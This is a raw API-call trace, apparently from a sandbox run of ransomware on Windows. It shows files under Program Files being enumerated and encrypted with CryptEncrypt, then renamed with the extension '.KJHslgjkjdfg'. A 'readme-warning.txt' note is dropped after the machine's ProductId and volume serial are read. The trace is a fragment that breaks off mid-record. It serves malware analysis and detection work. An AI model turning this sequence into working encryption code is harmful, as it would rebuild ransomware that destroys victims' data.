HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f3738 | out: hHeap=0x2a0000) returned 1 [0152.460] FindNextFileW (in: hFindFile=0x2c6420, lpFindFileData=0x290eb68 | out: lpFindFileData=0x290eb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.460] FindNextFileW (in: hFindFile=0x2c6420, lpFindFileData=0x290eb68 | out: lpFindFileData=0x290eb68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0152.460] GetProcessHeap () returned 0x2a0000 [0152.460] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2b4) returned 0x2fa9f0 [0152.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140 [0152.461] GetProcessHeap () returned 0x2a0000 [0152.461] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.461] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.461] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290eaf8 | out: lpNewFilePointer=0x0) returned 1 [0152.461] WriteFile (in: hFile=0x140, lpBuffer=0x290eb08*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290ead8, lpOverlapped=0x0 | out: lpBuffer=0x290eb08*, lpNumberOfBytesWritten=0x290ead8*=0xb, lpOverlapped=0x0) returned 1 [0152.737] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290eadc | out: phKey=0x290eadc*=0x2c6460) returned 1 [0152.737] CryptSetKeyParam (hKey=0x2c6460, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.737] GetProcessHeap () returned 0x2a0000 [0152.737] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0152.737] CryptEncrypt (in: hKey=0x2c6460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290eac0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290eac0*=0x30) returned 1 [0152.737] CryptDestroyKey (hKey=0x2c6460) returned 1 [0152.737] WriteFile (in: hFile=0x140, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ead8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ead8*=0x30, lpOverlapped=0x0) returned 1 [0152.737] WriteFile (in: hFile=0x140, lpBuffer=0x290eae0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ead8, lpOverlapped=0x0 | out: lpBuffer=0x290eae0*, lpNumberOfBytesWritten=0x290ead8*=0x4, lpOverlapped=0x0) returned 1 [0152.737] WriteFile (in: hFile=0x140, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ead8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ead8*=0x10, lpOverlapped=0x0) returned 1 [0152.737] WriteFile (in: hFile=0x140, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ead8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ead8*=0x80, lpOverlapped=0x0) returned 1 [0152.737] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290eb00 | out: lpNewFilePointer=0x0) returned 1 [0152.738] WriteFile (in: hFile=0x140, lpBuffer=0x290eaf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ead8, lpOverlapped=0x0 | out: lpBuffer=0x290eaf0*, lpNumberOfBytesWritten=0x290ead8*=0x8, lpOverlapped=0x0) returned 1 [0152.738] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290eadc | out: phKey=0x290eadc*=0x2c6460) returned 1 [0152.738] CryptSetKeyParam (hKey=0x2c6460, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.738] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.738] ReadFile (in: hFile=0x140, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x296a5, lpNumberOfBytesRead=0x290eae4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eae4*=0x296a5, lpOverlapped=0x0) returned 1 [0152.741] CryptEncrypt (in: hKey=0x2c6460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290eac0*=0x296b0, dwBufLen=0x296b0 | out: pbData=0x26c0020*, pdwDataLen=0x290eac0*=0x296b0) returned 1 [0152.743] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.743] WriteFile (in: hFile=0x140, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x290ead8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ead8*=0x296b0, lpOverlapped=0x0) returned 1 [0152.744] CryptDestroyKey (hKey=0x2c6460) returned 1 [0152.744] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x29774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.744] SetEndOfFile (hFile=0x140) returned 1 [0152.748] GetProcessHeap () returned 0x2a0000 [0152.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0152.748] GetProcessHeap () returned 0x2a0000 [0152.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.kjhslgjkjdfg")) returned 1 [0152.750] CloseHandle (hObject=0x140) returned 1 [0152.750] FindNextFileW (in: hFindFile=0x2c6420, lpFindFileData=0x290eb68 | out: lpFindFileData=0x290eb68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0152.750] GetProcessHeap () returned 0x2a0000 [0152.750] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.751] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e8a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6460) returned 1 [0152.751] CryptDecrypt (in: hKey=0x2c6460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290e910 | out: pbData=0x2bf570, pdwDataLen=0x290e910) returned 1 [0152.751] CryptDestroyKey (hKey=0x2c6460) returned 1 [0152.751] GetProcessHeap () returned 0x2a0000 [0152.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0152.751] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e8a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6460) returned 1 [0152.751] CryptDecrypt (in: hKey=0x2c6460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290e910 | out: pbData=0x2bf5b8, pdwDataLen=0x290e910) returned 1 [0152.751] CryptDestroyKey (hKey=0x2c6460) returned 1 [0152.751] GetProcessHeap () returned 0x2a0000 [0152.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2facb0 [0152.751] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e8a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6460) returned 1 [0152.751] CryptDecrypt (in: hKey=0x2c6460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2facb0, pdwDataLen=0x290e910 | out: pbData=0x2facb0, pdwDataLen=0x290e910) returned 1 [0152.751] CryptDestroyKey (hKey=0x2c6460) returned 1 [0152.751] GetProcessHeap () returned 0x2a0000 [0152.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0152.751] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e480, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6460) returned 1 [0152.752] CryptDecrypt (in: hKey=0x2c6460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e4f0 | out: pbData=0x2bf528, pdwDataLen=0x290e4f0) returned 1 [0152.752] CryptDestroyKey (hKey=0x2c6460) returned 1 [0152.752] GetProcessHeap () returned 0x2a0000 [0152.752] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0152.752] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e480, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6460) returned 1 [0152.752] CryptDecrypt (in: hKey=0x2c6460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290e4f0 | out: pbData=0x2c1618, pdwDataLen=0x290e4f0) returned 1 [0152.752] CryptDestroyKey (hKey=0x2c6460) returned 1 [0152.752] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e4ec | out: phkResult=0x290e4ec*=0x140) returned 0x0 [0152.752] RegQueryValueExA (in: hKey=0x140, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e4f8, lpcbData=0x290e4f4*=0x400 | out: lpType=0x0, lpData=0x290e4f8*=0x30, lpcbData=0x290e4f4*=0x18) returned 0x0 [0152.752] RegCloseKey (hKey=0x140) returned 0x0 [0152.752] GetProcessHeap () returned 0x2a0000 [0152.752] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0152.752] GetProcessHeap () returned 0x2a0000 [0152.752] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0152.752] GetProcessHeap () returned 0x2a0000 [0152.752] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0152.752] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e260, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6460) returned 1 [0152.753] CryptDecrypt (in: hKey=0x2c6460, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290e2c4 | out: pbData=0x2c1618, pdwDataLen=0x290e2c4) returned 1 [0152.753] CryptDestroyKey (hKey=0x2c6460) returned 1 [0152.753] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e2c8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0152.753] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e2c0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e2c0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0152.753] GetProcessHeap () returned 0x2a0000 [0152.753] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0152.753] wsprintfA (in: param_1=0x290e50f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0152.753] wsprintfA (in: param_1=0x290e91c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0152.753] GetProcessHeap () returned 0x2a0000 [0152.753] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2fb078 [0152.753] wsprintfW (in: param_1=0x290d8ec, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\readme-warning.txt") returned 99 [0152.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140 [0152.754] WriteFile (in: hFile=0x140, lpBuffer=0x2fb078*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290d8e8, lpOverlapped=0x0 | out: lpBuffer=0x2fb078*, lpNumberOfBytesWritten=0x290d8e8*=0x3b3, lpOverlapped=0x0) returned 1 [0152.755] CloseHandle (hObject=0x140) returned 1 [0152.755] GetProcessHeap () returned 0x2a0000 [0152.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2facb0 | out: hHeap=0x2a0000) returned 1 [0152.755] GetProcessHeap () returned 0x2a0000 [0152.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2fb078 | out: hHeap=0x2a0000) returned 1 [0152.756] GetProcessHeap () returned 0x2a0000 [0152.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0152.756] GetProcessHeap () returned 0x2a0000 [0152.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.756] FindClose (in: hFindFile=0x2c6420 | out: hFindFile=0x2c6420) returned 1 [0152.756] GetProcessHeap () returned 0x2a0000 [0152.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2fa9f0 | out: hHeap=0x2a0000) returned 1 [0152.756] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0152.756] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0152.756] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0152.756] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0152.756] GetProcessHeap () returned 0x2a0000 [0152.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f9730 | out: hHeap=0x2a0000) returned 1 [0152.756] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BIN", cAlternateFileName="")) returned 0 [0152.757] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.757] GetProcessHeap () returned 0x2a0000 [0152.757] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.757] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="14", cAlternateFileName="")) returned 0 [0152.757] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.757] GetProcessHeap () returned 0x2a0000 [0152.757] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0152.757] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0152.757] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0152.757] GetProcessHeap () returned 0x2a0000 [0152.757] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ad0 | out: hHeap=0x2a0000) returned 1 [0152.757] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Services", cAlternateFileName="")) returned 1 [0152.757] GetProcessHeap () returned 0x2a0000 [0152.757] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5e) returned 0x2c22b0 [0152.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0152.758] GetProcessHeap () returned 0x2a0000 [0152.758] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.758] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.758] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0152.758] GetProcessHeap () returned 0x2a0000 [0152.758] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x260) returned 0x2c7ad0 [0152.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.759] GetLastError () returned 0x5 [0152.759] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0152.760] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0152.760] GetProcessHeap () returned 0x2a0000 [0152.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ad0 | out: hHeap=0x2a0000) returned 1 [0152.760] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0152.760] GetProcessHeap () returned 0x2a0000 [0152.760] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2c22b0 [0152.760] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0152.760] GetProcessHeap () returned 0x2a0000 [0152.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.760] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.761] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0152.761] GetProcessHeap () returned 0x2a0000 [0152.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26a) returned 0x2c7ad0 [0152.761] GetProcessHeap () returned 0x2a0000 [0152.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7c) returned 0x2f5738 [0152.761] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, 